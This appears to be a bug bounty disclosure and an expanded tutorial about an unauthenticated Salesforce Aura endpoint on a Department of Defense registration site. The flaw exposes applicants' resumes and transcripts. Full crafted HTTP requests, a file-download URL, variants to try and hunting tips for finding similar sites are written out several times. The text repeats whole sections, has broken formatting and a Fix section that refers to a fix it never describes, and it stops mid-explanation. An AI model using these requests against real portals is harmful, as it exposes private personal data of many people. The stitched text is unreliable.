Sensitive data exposure: █████████ candidate resumes/CVs available to download with no authentication through BAC/IDOR/Improper Salesforce config
An unauthenticated Aura endpoint allowed listing and downloading all uploaded candidate files, including resumes and transcripts, by abusing a Salesforce component. An attacker could retrieve sensitive personal data of many applicants without any login.
- Triaged in 8 hours
- Fixed in 2 months
- Disclosed after 5 months
Greetings DoD team,
I located a major example of sensitive data exposure through a BAC/incorrectly configured Salesforce instance.
The https://█████████.experience.███/s/registration page allows the attacker to download any attachment (including thousands of resumes full of PII, university transcripts, and other sensitive files) submitted by other users through the Registration form. Potentially this might also affect files added by the ███████ team manually.
At least several files are available (possibly many more); no authentication is required for this attack.
Impact
Large-scale data breach/candidate PII leak.
System Host(s)
███████
Affected Product(s) and Version(s)
CVE Numbers
Steps to Reproduce
Steps to reproduce:
- In browser, navigate to: https://███████.experience.██████/s/registration
- Within Burp, find any POST request to the /aura endpoint, such as below. Send to Repeater:
POST /s/sfsites/aura?r=1&aura.ApexAction.execute=1 HTTP/1.1
Host: ███████.experience.██████████
Cookie: ████████; BrowserId=ztAOY0pSEe-h9wmd5-lRkA; pctrk=ccfad8a9-dcf3-4ab7-9a5f-f623cdbcd7b7
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: https://████.experience.███████/s/registration
X-Sfdc-Lds-Endpoints: ApexActionController.execute:RegistrationCtrl.getFileUploadRecord
X-Sfdc-Page-Scope-Id: 8f4f7425-7484-4329-b975-98c3bb386cfb
X-Sfdc-Request-Id: 326100000096dd5c96
X-Sfdc-Page-Cache: eec50ac11c34f2f4
Content-Type: application/x-www-form-urlencoded;charset=UTF-8
Content-Length: 1555
Origin: https://███.experience.████
Dnt: 1
Sec-Gpc: 1
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Te: trailers
Connection: close
message=%7B%22actions%22%3A%5B%7B%22id%22%3A%2298%3Ba%22%2C%22descriptor%22%3A%22aura%3A%2F%2FApexActionController%2FACTION%24execute%22%2C%22callingDescriptor%22%3A%22UNKNOWN%22%2C%22params%22%3A%7B%22namespace%22%3A%22%22%2C%22classname%22%3A%22RegistrationCtrl%22%2C%22method%22%3A%22getFileUploadRecord%22%2C%22cacheable%22%3Afalse%2C%22isContinuation%22%3Afalse%7D%7D%5D%7D&aura.context=%7B%22mode%22%3A%22PROD%22%2C%22fwuid%22%3A%22WFIwUmVJdmtIRnI3MTFpX0d6c1VwQWhZX25NdHFVdGpDN3BnWlROY1ZGT3cyNTAuOC4zLTYuNC41%22%2C%22app%22%3A%22siteforce%3AcommunityApp%22%2C%22loaded%22%3A%7B%22APPLICATION%40markup%3A%2F%2Fsiteforce%3AcommunityApp%22%3A%224aRXFMeJBEoyEhCBFKHHSA%22%2C%22COMPONENT%40markup%3A%2F%2Fforce%3AinputField%22%3A%22MIteSSSIxKghQgDJWuI57g%22%2C%22COMPONENT%40markup%3A%2F%2Fforce%3AoutputField%22%3A%224kDixPuHcKU99oJ3nGrYwA%22%2C%22COMPONENT%40markup%3A%2F%2FforceCommunity%3AfeedPublisher%22%3A%22eLdMCU5TIIj5fTlBFHu9Cg%22%2C%22COMPONENT%40markup%3A%2F%2FforceCommunity%3AforceCommunityFeed%22%3A%22T_JqvrMTIi87V9CzYeCoyQ%22%2C%22COMPONENT%40markup%3A%2F%2FforceCommunity%3AobjectHome%22%3A%22XokhHoGbTrHekjpxgyja7A%22%2C%22COMPONENT%40markup%3A%2F%2FforceCommunity%3ArecordDetail%22%3A%22DhqIX7zfLrAKT30H1SrJBQ%22%2C%22COMPONENT%40markup%3A%2F%2FforceCommunity%3ArelatedRecords%22%3A%22QKutWURpjg1wirSmIlNoOQ%22%2C%22COMPONENT%40markup%3A%2F%2Finstrumentation%3Ao11ySecondaryLoader%22%3A%221JitVv-ZC5qlK6HkuofJqQ%22%7D%2C%22dn%22%3A%5B%5D%2C%22globals%22%3A%7B%7D%2C%22uad%22%3Afalse%7D&aura.pageURI=%2Fs%2Fregistration&aura.token=null
- Modify the request as follows. This is a specifically crafted Aura payload that returns 2000 ContentDocument records (uploaded files). Send to Repeater and issue request:
POST /s/sfsites/aura?r=1&aura.ApexAction.execute=1 HTTP/1.1
Host: ███████.experience.██████
Cookie: ██████; BrowserId=ztAOY0pSEe-h9wmd5-lRkA; pctrk=ccfad8a9-dcf3-4ab7-9a5f-f623cdbcd7b7
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: https://██████.experience.███/s/registration
X-Sfdc-Lds-Endpoints: ApexActionController.execute:RegistrationCtrl.getFileUploadRecord
X-Sfdc-Page-Scope-Id: 8f4f7425-7484-4329-b975-98c3bb386cfb
X-Sfdc-Request-Id: 326100000096dd5c96
X-Sfdc-Page-Cache: eec50ac11c34f2f4
Content-Type: application/x-www-form-urlencoded;charset=UTF-8
Content-Length: 1554
Origin: https://██████.experience.██████████
Dnt: 1
Sec-Gpc: 1
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Te: trailers
Connection: close
message={"actions":[{"id":"123;a","descriptor":"serviceComponent://ui.force.components.controllers.lists.selectableListDataProvider.SelectableListDataProviderController/ACTION$getItems","callingDescriptor":"UNKNOWN","params":{"entityNameOrId":"ContentDocument","layoutType":"FULL","pageSize":2000,"currentPage":0,"useTimeout":false,"getCount":false,"enableRowActions":false}}]}&aura.context=%7B%22mode%22%3A%22PROD%22%2C%22fwuid%22%3A%22WFIwUmVJdmtIRnI3MTFpX0d6c1VwQWhZX25NdHFVdGpDN3BnWlROY1ZGT3cyNTAuOC4zLTYuNC41%22%2C%22app%22%3A%22siteforce%3AcommunityApp%22%2C%22loaded%22%3A%7B%22APPLICATION%40markup%3A%2F%2Fsiteforce%3AcommunityApp%22%3A%224aRXFMeJBEoyEhCBFKHHSA%22%2C%22COMPONENT%40markup%3A%2F%2Fforce%3AinputField%22%3A%22MIteSSSIxKghQgDJWuI57g%22%2C%22COMPONENT%40markup%3A%2F%2Fforce%3AoutputField%22%3A%224kDixPuHcKU99oJ3nGrYwA%22%2C%22COMPONENT%40markup%3A%2F%2FforceCommunity%3AfeedPublisher%22%3A%22eLdMCU5TIIj5fTlBFHu9Cg%22%2C%22COMPONENT%40markup%3A%2F%2FforceCommunity%3AforceCommunityFeed%22%3A%22T_JqvrMTIi87V9CzYeCoyQ%22%2C%22COMPONENT%40markup%3A%2F%2FforceCommunity%3AobjectHome%22%3A%22XokhHoGbTrHekjpxgyja7A%22%2C%22COMPONENT%40markup%3A%2F%2FforceCommunity%3ArecordDetail%22%3A%22DhqIX7zfLrAKT30H1SrJBQ%22%2C%22COMPONENT%40markup%3A%2F%2FforceCommunity%3ArelatedRecords%22%3A%22QKutWURpjg1wirSmIlNoOQ%22%2C%22COMPONENT%40markup%3A%2F%2Finstrumentation%3Ao11ySecondaryLoader%22%3A%221JitVv-ZC5qlK6HkuofJqQ%22%7D%2C%22dn%22%3A%5B%5D%2C%22globals%22%3A%7B%7D%2C%22uad%22%3Afalse%7D&aura.pageURI=%2Fs%2Fregistration&aura.token=null
- Extract one of the IDs from the server response, e.g. 069830000028KJdAAM
██████████
- Insert this ID into URL as below. This will download the attachment (confidential candidate resume) directly. All other files can be accessed using the same method.
https://██████████.experience.██████/sfsites/c/sfc/servlet.shepherd/document/download/069830000028KJdAAM
Hope you find this report helpful - look forward to your feedback.
Suggested Mitigation/Remediation Actions
Context
The target was a U.S. Department of Defence program, and the asset was a Salesforce Experience Cloud site (the experience. hostname pattern and the /s/ community paths are the giveaway). The site exposes a public registration page at /s/registration, backed by an Apex controller called RegistrationCtrl. The registration page calls an Apex action, RegistrationCtrl.getFileUploadRecord, through the Aura endpoint.
In normal use, a candidate fills in the registration form, attaches a resume or transcript, and the file is stored as a Salesforce ContentDocument. The registration page then calls back into Apex through the Aura endpoint to fetch the record for that upload. The researcher found that the same Aura endpoint would happily return records for files belonging to other people, and that the resulting document IDs could be turned into direct download links with no authentication at all.
Setup
No account, role or special access was needed. The researcher used a browser plus Burp Suite, with the proxy intercepting traffic from the registration page. The only precondition was that the registration page was reachable and that a POST to the Aura endpoint could be captured from it. The report does not list any product versions or CVE numbers; those fields are empty.
Finding it
The registration page lets a user upload attachments. Watching the traffic, the researcher saw that the page issues POST requests to the Aura endpoint, and that one of the Apex actions in those requests is RegistrationCtrl.getFileUploadRecord. That action is meant to return the upload record for the current submission. The researcher replaced the action with a crafted Aura payload that returns ContentDocument records for files uploaded by other users. The report describes the result as thousands of resumes containing PII, university transcripts and other sensitive files, and notes that files added manually by the team behind the site may also be affected. No authentication is required for the attack.
Exploitation
Step 1: Reach the registration page
In the browser, navigate to:
https://███████.experience.██████/s/registration
This loads the public registration form and causes the page to make Aura requests that can be captured in Burp.
Step 2: Capture a POST to the Aura endpoint
In Burp, find any POST request to the /aura endpoint, such as the one below, and send it to Repeater:
POST /s/sfsites/aura?r=1&aura.ApexAction.execute=1 HTTP/1.1
Host: ███████.experience.██████████
Cookie: ████████; BrowserId=ztAOY0pSEe-h9wmd5-lRkA; pctrk=ccfad8a9-dcf3-4ab7-9a5f-f623cdbcd7b7
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: https://████.experience.███████/s/registration
X-Sfdc-Lds-Endpoints: ApexActionController.execute:RegistrationCtrl.getFileUploadRecord
X-Sfdc-Page-Scope-Id: 8f4f7425-7484-4329-b975-98c3bb386cfb
X-Sfdc-Request-Id: 326100000096dd5c96
X-Sfdc-Page-Cache: eec50ac11c34f2f4
Content-Type: application/x-www-form-urlencoded;charset=UTF-8
Content-Length: 1555
Origin: https://███.experience.████
Dnt: 1
Sec-Gpc: 1
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Te: trailers
Connection: close
message=%7B%22actions%22%3A%5B%7B%22id%22%3A%2298%3Ba%22%2C%22descriptor%22%3A%22aura%3A%2F%2FApexActionController%2FACTION%24execute%22%2C%22callingDescriptor%22%3A%22UNKNOWN%22%2C%22params%22%3A%7B%22namespace%22%3A%22%22%2C%22classname%22%3A%22RegistrationCtrl%22%2C%22method%22%3A%22getFileUploadRecord%22%2C%22cacheable%22%3Afalse%2C%22isContinuation%22%3Afalse%7D%7D%5D%7D&aura.context=%7B%22mode%22%3A%22PROD%22%2C%22fwuid%22%3A%[redacted]%22%2C%22app%22%3A%22siteforce%3AcommunityApp%22%2C%22loaded%22%3A%7B%22APPLICATION%40markup%3A%2F%2Fsiteforce%3AcommunityApp%22%3A%224aRXFMeJBEoyEhCBFKHHSA%22%2C%22COMPONENT%40markup%3A%2F%2Fforce%3AinputField%22%3A%22MIteSSSIxKghQgDJWuI57g%22%2C%22COMPONENT%40markup%3A%2F%2Fforce%3AoutputField%22%3A%224kDixPuHcKU99oJ3nGrYwA%22%2C%22COMPONENT%40markup%3A%2F%2FforceCommunity%3AfeedPublisher%22%3A%22eLdMCU5TIIj5fTlBFHu9Cg%22%2C%22COMPONENT%40markup%3A%2F%2FforceCommunity%3AforceCommunityFeed%22%3A%22T_JqvrMTIi87V9CzYeCoyQ%22%2C%22COMPONENT%40markup%3A%2F%2FforceCommunity%3AobjectHome%22%3A%22XokhHoGbTrHekjpxgyja7A%22%2C%22COMPONENT%40markup%3A%2F%2FforceCommunity%3ArecordDetail%22%3A%22DhqIX7zfLrAKT30H1SrJBQ%22%2C%22COMPONENT%40markup%3A%2F%2FforceCommunity%3ArelatedRecords%22%3A%22QKutWURpjg1wirSmIlNoOQ%22%2C%22COMPONENT%40markup%3A%2F%2Finstrumentation%3Ao11ySecondaryLoader%22%3A%221JitVv-ZC5qlK6HkuofJqQ%22%7D%2C%22dn%22%3A%5B%5D%2C%22globals%22%3A%7B%7D%2C%22uad%22%3Afalse%7D&aura.pageURI=%2Fs%2Fregistration&aura.token=null
The message parameter is a URL-encoded JSON envelope. Decoded, it asks Aura to execute the ApexActionController action with classname set to RegistrationCtrl and method set to getFileUploadRecord. The aura.context parameter carries the framework metadata the Aura runtime expects: mode PROD, the fwuid build identifier, the siteforce:communityApp app, the set of loaded component markup definitions, and aura.[redacted] The X-Sfdc-Lds-Endpointsheader names the same Apex action, and theRefererandOriginheaders point at the registration page. TheCookieheader carries aBrowserIdand apctrk` value; the report does not say what role, if any, they play.
Step 3: Swap in a crafted Aura payload
Modify the request as follows. The researcher describes this as a specifically crafted Aura payload that returns 2000 ContentDocument records (uploaded files). Send it to Repeater and issue the request:
POST /s/sfsites/aura?r=1&aura.ApexAction.execute=1 HTTP/1.1
Host: ███████.experience.██████
Cookie: ██████; BrowserId=ztAOY0pSEe-h9wmd5-lRkA; pctrk=ccfad8a9-dcf3-4ab7-9a5f-f623cdbcd7b7
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: https://██████.experience.███/s/registration
X-Sfdc-Lds-Endpoints: ApexActionController.execute:RegistrationCtrl.getFileUploadRecord
X-Sfdc-Page-Scope-Id: 8f4f7425-7484-4329-b975-98c3bb386cfb
X-Sfdc-Request-Id: 326100000096dd5c96
X-Sfdc-Page-Cache: eec50ac11c34f2f4
Content-Type: application/x-www-form-urlencoded;charset=UTF-8
Content-Length: 1554
Origin: https://██████.experience.██████████
Dnt: 1
Sec-Gpc: 1
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Te: trailers
Connection: close
message={"actions":[{"id":"123;a","descriptor":"serviceComponent://ui.force.components.controllers.lists.selectableListDataProvider.SelectableListDataProviderController/ACTION$getItems","callingDescriptor":"UNKNOWN","params":{"entityNameOrId":"ContentDocument","layoutType":"FULL","pageSize":2000,"currentPage":0,"useTimeout":false,"getCount":false,"enableRowActions":false}}]}&aura.context=%7B%22mode%22%3A%22PROD%22%2C%22fwuid%22%3A%[redacted]%22%2C%22app%22%3A%22siteforce%3AcommunityApp%22%2C%22loaded%22%3A%7B%22APPLICATION%40markup%3A%2F%2Fsiteforce%3AcommunityApp%22%3A%224aRXFMeJBEoyEhCBFKHHSA%22%2C%22COMPONENT%40markup%3A%2F%2Fforce%3AinputField%22%3A%22MIteSSSIxKghQgDJWuI57g%22%2C%22COMPONENT%40markup%3A%2F%2Fforce%3AoutputField%22%3A%224kDixPuHcKU99oJ3nGrYwA%22%2C%22COMPONENT%40markup%3A%2F%2FforceCommunity%3AfeedPublisher%22%3A%22eLdMCU5TIIj5fTlBFHu9Cg%22%2C%22COMPONENT%40markup%3A%2F%2FforceCommunity%3AforceCommunityFeed%22%3A%22T_JqvrMTIi87V9CzYeCoyQ%22%2C%22COMPONENT%40markup%3A%2F%2FforceCommunity%3AobjectHome%22%3A%22XokhHoGbTrHekjpxgyja7A%22%2C%22COMPONENT%40markup%3A%2F%2FforceCommunity%3ArecordDetail%22%3A%22DhqIX7zfLrAKT30H1SrJBQ%22%2C%22COMPONENT%40markup%3A%2F%2FforceCommunity%3ArelatedRecords%22%3A%22QKutWURpjg1wirSmIlNoOQ%22%2C%22COMPONENT%40markup%3A%2F%2Finstrumentation%3Ao11ySecondaryLoader%22%3A%221JitVv-ZC5qlK6HkuofJqQ%22%7D%2C%22dn%22%3A%5B%5D%2C%22globals%22%3A%7B%7D%2C%22uad%22%3Afalse%7D&aura.pageURI=%2Fs%2Fregistration&aura.token=null
It targets a different Aura action: SelectableListDataProviderController with ACTION$getItems, and passes entityNameOrId set to ContentDocument, layoutType set to FULL, and pageSize set to 2000. In other words, instead of asking the registration controller for one upload record, the request asks the generic list data provider for a page of 2000 ContentDocument records. The aura.context value is unchanged from the captured request, and aura.token is still null. The response is a 200 containing the ContentDocument records.
Step 4: Extract a document ID
From the server response, take one of the IDs, for example:
069830000028KJdAAM
Step 5: Download the file directly
Insert the ID into the URL as below. This downloads the attachment, in the researcher's example a confidential candidate resume, directly. All other files can be accessed the same way.
https://██████████.experience.██████/sfsites/c/sfc/servlet.shepherd/document/download/069830000028KJdAAM
The URL downloads the attachment directly, and the report states no authentication is required.
Root cause
The report frames this as broken access control combined with an incorrectly configured Salesforce instance. Two things line up to make the leak possible. First, the Aura endpoint accepts a client-supplied action descriptor and parameters, and the generic SelectableListDataProviderController action will return ContentDocument records to an unauthenticated caller. Second, the document download servlet serves any ContentDocument by ID without checking that the requester is entitled to it. The registration controller's own getFileUploadRecord action is also reachable through the same endpoint, and the researcher's initial capture shows it being invoked from the public page. The report does not include the Apex source, so the exact scoping mistake inside RegistrationCtrl is not shown; the observable behaviour is that records belonging to other users are returned.
Impact
The researcher rates this as a large-scale data breach and candidate PII leak. An unauthenticated attacker can enumerate and download attachments submitted through the public registration form, including resumes full of personal data and university transcripts. The report says at least several files are available and possibly many more, and that files added manually by the team may also be affected. The program rated the report high severity under Improper Access Control. No bounty figure or CVSS score is given.
Fix
The report's remediation section has a heading but no content, so no specific fix is described. Whether the program applied either is not stated.
Variants to test
- Other Aura list providers. Try
SelectableListDataProviderControllerand similar generic controllers against other objects on Experience Cloud sites, for exampleAttachment,Documentor custom objects holding uploaded files. A positive result is a 200 whose response body contains records the guest user should not see. - Other Apex actions on the same endpoint. Enumerate
classnameandmethodpairs referenced in page JavaScript and inX-Sfdc-Lds-Endpointsheaders, then call them with `aura.[redacted] A positive result is any action that returns data belonging to another user. - Direct document download by ID. Take any
ContentDocumentID seen anywhere on the site and request it throughservlet.shepherd/document/download/. A positive result is a file download without a session. - Page size and paging. Vary
pageSizeandcurrentPagein the list provider payload to see how much data a single unauthenticated call returns. A positive result is a larger result set than the UI ever shows.
Hunting notes
This kind of bug hides on public-facing Salesforce Experience Cloud sites that have self-service forms with file uploads: registrations, job applications, support portals and grant submissions. During recon, look for experience. or force.com community hostnames, /s/ paths, and /s/sfsites/aura requests in the page source. The Aura message parameter and the X-Sfdc-Lds-Endpoints header name the Apex classes and methods the page uses, which gives a ready-made list of actions to test. A request that succeeds with aura.token=null is the signal that the action is reachable without a session. The researcher pulled a document ID out of the list response and used it to download an attachment, which the report describes as a confidential candidate resume.
What happened, in plain words
A public job application page on a U.S. Department of Defence website let anyone download other people's uploaded files without logging in. Candidates had used the page to submit resumes and university transcripts. Those files were stored on the site's backend, and the researcher found that a request anyone could send would hand back a list of every stored file, plus a direct link to download each one. No account, no password, nothing.
The site was built on Salesforce Experience Cloud, a product that companies and agencies use to run public-facing portals (help centres, application forms, customer communities) on top of Salesforce's data platform. The experience. part of the hostname and the /s/ paths in the URLs are typical of such sites. The registration form was backed by a small piece of custom server-side code (an Apex controller called RegistrationCtrl) with a method, getFileUploadRecord, that looks up the file record for a submission. In normal use a candidate fills in the form, attaches a resume, and the page asks the server for the record of that upload. The researcher found that the same server endpoint would return records for files belonging to other people, and that the resulting file IDs could be turned into direct download links that required no login at all.
The report classifies this as broken access control (BAC) combined with an incorrectly configured Salesforce instance. Broken access control means the server does not check whether the person asking is allowed to see what they are asking for. The program rated it high severity under Improper Access Control. No bounty figure or CVSS score is given, and the report lists no product versions or CVE numbers.
Setup
No account, role or special access was needed. The researcher used a browser plus Burp Suite, a tool that sits between the browser and the website and lets you read, pause and edit every request before it is sent. The only precondition was that the registration page was reachable and that a request to the Aura endpoint could be captured from it.
A few words that come up constantly below:
- Request: the message your browser sends to a server when you open a page or submit a form. It has a method (GET for fetching, POST for sending data), a path, headers (extra information) and sometimes a body (the data itself).
- Endpoint: the specific address on a server that accepts a particular kind of request. Think of a building's service counters: same building, different window for different jobs.
- API: a way for one piece of software to ask another for data or an action, without a human clicking anything. It is like a restaurant menu: you order by a fixed name and the kitchen returns a fixed kind of dish.
- Aura: Salesforce's framework for building interactive pages. The browser talks to the server through an Aura endpoint, sending small JSON messages that name an action to run and the parameters for it.
- Apex: Salesforce's programming language for custom server-side logic. A class is a bundle of code; a method is one named action inside it.
- Cookie: a small piece of data the browser stores for a site and sends back with every request, often used to remember who you are. A session cookie is the one that proves you are logged in.
- Token: a value that acts like a pass. If a request carries a valid token, the server treats the caller as authenticated.
aura.token=nullmeans no pass was presented. - JSON: a plain-text way of writing structured data with curly braces, quotes and colons, easy for both people and programs to read.
- URL-encoded: certain characters in a URL or form body must be written in a safe form, e.g.
%7Bfor{and%22for a quote. Decoding turns them back into normal characters. - PII: personally identifiable information, data that identifies a real person, such as a name, address or the contents of a resume.
- ContentDocument: Salesforce's internal name for a stored file record. Each uploaded file gets one, with a unique ID.
Finding it
The registration page lets a user upload attachments. Watching the traffic, the researcher saw that the page issues POST requests to the Aura endpoint, and that one of the Apex actions in those requests is RegistrationCtrl.getFileUploadRecord. That action is the one the registration page calls. The researcher replaced the action with a crafted Aura message, and it returned ContentDocument records for files uploaded by other users. The report describes the result as thousands of resumes containing PII, university transcripts and other sensitive files, and notes that files added manually by the team behind the site may also be affected. No authentication is required for the attack.
Exploitation
Step 1: Reach the registration page
In the browser, navigate to:
https://███████.experience.██████/s/registration
This loads the public registration form. The point of opening it in a browser with Burp intercepting is that the page itself then makes the Aura requests we want to study; we do not have to guess them. The page is public, so no login is involved at any stage.
Step 2: Capture a POST to the Aura endpoint
In Burp, find any POST request to the /aura endpoint, such as the one below, and send it to Repeater. Repeater is Burp's workbench: it holds a single request so you can edit it and resend it as many times as you like, seeing each response.
POST /s/sfsites/aura?r=1&aura.ApexAction.execute=1 HTTP/1.1
Host: ███████.experience.██████████
Cookie: ████████; BrowserId=ztAOY0pSEe-h9wmd5-lRkA; pctrk=ccfad8a9-dcf3-4ab7-9a5f-f623cdbcd7b7
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: https://████.experience.███████/s/registration
X-Sfdc-Lds-Endpoints: ApexActionController.execute:RegistrationCtrl.getFileUploadRecord
X-Sfdc-Page-Scope-Id: 8f4f7425-7484-4329-b975-98c3bb386cfb
X-Sfdc-Request-Id: 326100000096dd5c96
X-Sfdc-Page-Cache: eec50ac11c34f2f4
Content-Type: application/x-www-form-urlencoded;charset=UTF-8
Content-Length: 1555
Origin: https://███.experience.████
Dnt: 1
Sec-Gpc: 1
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Te: trailers
Connection: close
message=%7B%22actions%22%3A%5B%7B%22id%22%3A%2298%3Ba%22%2C%22descriptor%22%3A%22aura%3A%2F%2FApexActionController%2FACTION%24execute%22%2C%22callingDescriptor%22%3A%22UNKNOWN%22%2C%22params%22%3A%7B%22namespace%22%3A%22%22%2C%22classname%22%3A%22RegistrationCtrl%22%2C%22method%22%3A%22getFileUploadRecord%22%2C%22cacheable%22%3Afalse%2C%22isContinuation%22%3Afalse%7D%7D%5D%7D&aura.context=%7B%22mode%22%3A%22PROD%22%2C%22fwuid%22%3A%[redacted]%22%2C%22app%22%3A%22siteforce%3AcommunityApp%22%2C%22loaded%22%3A%7B%22APPLICATION%40markup%3A%2F%2Fsiteforce%3AcommunityApp%22%3A%224aRXFMeJBEoyEhCBFKHHSA%22%2C%22COMPONENT%40markup%3A%2F%2Fforce%3AinputField%22%3A%22MIteSSSIxKghQgDJWuI57g%22%2C%22COMPONENT%40markup%3A%2F%2Fforce%3AoutputField%22%3A%224kDixPuHcKU99oJ3nGrYwA%22%2C%22COMPONENT%40markup%3A%2F%2FforceCommunity%3AfeedPublisher%22%3A%22eLdMCU5TIIj5fTlBFHu9Cg%22%2C%22COMPONENT%40markup%3A%2F%2FforceCommunity%3AforceCommunityFeed%22%3A%22T_JqvrMTIi87V9CzYeCoyQ%22%2C%22COMPONENT%40markup%3A%2F%2FforceCommunity%3AobjectHome%22%3A%22XokhHoGbTrHekjpxgyja7A%22%2C%22COMPONENT%40markup%3A%2F%2FforceCommunity%3ArecordDetail%22%3A%22DhqIX7zfLrAKT30H1SrJBQ%22%2C%22COMPONENT%40markup%3A%2F%2FforceCommunity%3ArelatedRecords%22%3A%22QKutWURpjg1wirSmIlNoOQ%22%2C%22COMPONENT%40markup%3A%2F%2Finstrumentation%3Ao11ySecondaryLoader%22%3A%221JitVv-ZC5qlK6HkuofJqQ%22%7D%2C%22dn%22%3A%5B%5D%2C%22globals%22%3A%7B%7D%2C%22uad%22%3Afalse%7D&aura.pageURI=%2Fs%2Fregistration&aura.token=null
Line by line:
POST /s/sfsites/aura?r=1&aura.ApexAction.execute=1 HTTP/1.1: send data (POST) to the Aura endpoint. The query string says this call is about executing an Apex action.Host: the site being talked to.Cookie: the browser's stored values for this site, includingBrowserIdandpctrk. The report does not say what role, if any, they play.User-Agent,Accept,Accept-Language,Accept-Encoding: standard browser housekeeping, saying which browser is calling and what formats it accepts.Referer: the page the request came from, here the registration page.X-Sfdc-Lds-Endpoints: a Salesforce header naming the Apex action involved,ApexActionController.execute:RegistrationCtrl.getFileUploadRecord. This is a useful signpost: it tells you which server-side code the page is calling.X-Sfdc-Page-Scope-Id,X-Sfdc-Request-Id,X-Sfdc-Page-Cache: Salesforce bookkeeping values for the page and the request.Content-Type: application/x-www-form-urlencoded: the body is written in the same format as a submitted HTML form.Content-Length: the size of the body in bytes.Origin: the site the request logically originates from.Dnt,Sec-Gpc: privacy preference signals from the browser.Sec-Fetch-*: headers modern browsers add to describe the context of the request (same site, cross site, and so on).Te,Connection: transport details.- The body: two form fields,
messageandaura.context, plus `aura.[redacted]
The message parameter is a URL-encoded JSON envelope. Decoded, it asks Aura to execute the ApexActionController action with classname set to RegistrationCtrl and method set to getFileUploadRecord. In plain terms: run this named piece of server code. The aura.context parameter carries the framework metadata the Aura runtime expects: mode PROD, the fwuid build identifier, the siteforce:communityApp app, the set of loaded component markup definitions, and aura.[redacted] The X-Sfdc-Lds-Endpointsheader names the same Apex action, and theRefererandOriginheaders point at the registration page. TheCookieheader carries aBrowserIdand apctrk` value; the report does not say what role, if any, they play.
Step 3: Swap in a crafted Aura payload
Modify the request as follows. The researcher describes this as a specifically crafted Aura payload that returns 2000 ContentDocument records (uploaded files). Send it to Repeater and issue the request:
POST /s/sfsites/aura?r=1&aura.ApexAction.execute=1 HTTP/1.1
Host: ███████.experience.██████
Cookie: ██████; BrowserId=ztAOY0pSEe-h9wmd5-lRkA; pctrk=ccfad8a9-dcf3-4ab7-9a5f-f623cdbcd7b7
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: https://██████.experience.███/s/registration
X-Sfdc-Lds-Endpoints: ApexActionController.execute:RegistrationCtrl.getFileUploadRecord
X-Sfdc-Page-Scope-Id: 8f4f7425-7484-4329-b975-98c3bb386cfb
X-Sfdc-Request-Id: 326100000096dd5c96
X-Sfdc-Page-Cache: eec50ac11c34f2f4
Content-Type: application/x-www-form-urlencoded;charset=UTF-8
Content-Length: 1554
Origin: https://██████.experience.██████████
Dnt: 1
Sec-Gpc: 1
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Te: trailers
Connection: close
message={"actions":[{"id":"123;a","descriptor":"serviceComponent://ui.force.components.controllers.lists.selectableListDataProvider.SelectableListDataProviderController/ACTION$getItems","callingDescriptor":"UNKNOWN","params":{"entityNameOrId":"ContentDocument","layoutType":"FULL","pageSize":2000,"currentPage":0,"useTimeout":false,"getCount":false,"enableRowActions":false}}]}&aura.context=%7B%22mode%22%3A%22PROD%22%2C%22fwuid%22%3A%[redacted]%22%2C%22app%22%3A%22siteforce%3AcommunityApp%22%2C%22loaded%22%3A%7B%22APPLICATION%40markup%3A%2F%2Fsiteforce%3AcommunityApp%22%3A%224aRXFMeJBEoyEhCBFKHHSA%22%2C%22COMPONENT%40markup%3A%2F%2Fforce%3AinputField%22%3A%22MIteSSSIxKghQgDJWuI57g%22%2C%22COMPONENT%40markup%3A%2F%2Fforce%3AoutputField%22%3A%224kDixPuHcKU99oJ3nGrYwA%22%2C%22COMPONENT%40markup%3A%2F%2FforceCommunity%3AfeedPublisher%22%3A%22eLdMCU5TIIj5fTlBFHu9Cg%22%2C%22COMPONENT%40markup%3A%2F%2FforceCommunity%3AforceCommunityFeed%22%3A%22T_JqvrMTIi87V9CzYeCoyQ%22%2C%22COMPONENT%40markup%3A%2F%2FforceCommunity%3AobjectHome%22%3A%22XokhHoGbTrHekjpxgyja7A%22%2C%22COMPONENT%40markup%3A%2F%2FforceCommunity%3ArecordDetail%22%3A%22DhqIX7zfLrAKT30H1SrJBQ%22%2C%22COMPONENT%40markup%3A%2F%2FforceCommunity%3ArelatedRecords%22%3A%22QKutWURpjg1wirSmIlNoOQ%22%2C%22COMPONENT%40markup%3A%2F%2Finstrumentation%3Ao11ySecondaryLoader%22%3A%221JitVv-ZC5qlK6HkuofJqQ%22%7D%2C%22dn%22%3A%5B%5D%2C%22globals%22%3A%7B%7D%2C%22uad%22%3Afalse%7D&aura.pageURI=%2Fs%2Fregistration&aura.token=null
What changed, and why it matters:
- It targets a different Aura action:
SelectableListDataProviderControllerwithACTION$getItems. This is a generic list component: instead of asking for one specific record, you tell it what kind of record you want and how many, and it returns a page of them. entityNameOrIdset toContentDocumentsays which kind of record to list: stored files.pageSizeset to 2000 asks for up to 2000 records in one go, andcurrentPageset to 0 asks for the first page.
